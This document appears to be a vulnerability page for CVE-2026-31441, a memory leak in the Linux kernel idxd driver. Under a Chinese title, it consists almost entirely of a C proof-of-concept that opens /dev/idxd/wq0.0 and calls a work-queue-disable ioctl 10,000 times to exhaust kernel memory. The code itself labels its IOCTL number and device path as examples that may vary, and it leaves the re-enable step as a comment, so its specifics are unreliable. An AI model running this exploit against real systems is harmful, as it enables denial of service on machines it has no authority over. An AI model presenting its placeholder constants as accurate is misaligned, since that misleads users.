CVE-2026-31441: Linux内核idxd内存泄漏漏洞

/* * PoC for CVE-2026-31441: Linux kernel idxd memory leak * This code triggers the vulnerable reset path repeatedly. * Requires /dev/idxd device access. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define IDXD_IOCTL_DISABLE_WQ 0x8001 // Example IOCTL, may vary based on kernel config int main() { int fd, i; // Open the idxd device node (example path) fd = open("/dev/idxd/wq0.0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting memory leak trigger loop...\n"); // Loop to trigger the reset/cleanup path multiple times for (i = 0; i < 10000; i++) { // Call IOCTL to disable/reset the work queue // This invokes idxd_wq_disable_cleanup where the leak occurs if (ioctl(fd, IDXD_IOCTL_DISABLE_WQ, 0) < 0) { // perror("ioctl failed"); // In a real scenario, the device might be in a specific state // Error handling might be needed to re-enable the WQ to continue the loop } // Logic to re-enable/reconfigure WQ would go here to loop the exploit // For demonstration, we assume the environment allows repeated triggers } close(fd); printf("Loop completed. Check kernel memory (slabtop) for leaks.\n"); return 0; }